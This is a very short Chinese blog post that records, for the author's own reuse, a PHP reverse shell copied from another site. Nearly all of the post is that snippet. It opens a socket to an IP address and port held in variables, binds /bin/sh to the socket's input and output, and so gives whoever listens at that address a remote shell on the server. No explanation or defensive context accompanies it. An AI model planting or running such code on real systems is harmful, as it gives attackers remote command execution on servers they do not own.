来源:https://www.leavesongs.com/PHP/backshell-via-php.html
用到了,记录一下
$sock = fsockopen($ip, $port); $descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); proc_close($process);
Copyright © 2022 羊小弟
Powered by .NET 7.0 on Kubernetes
Powered by: 博客园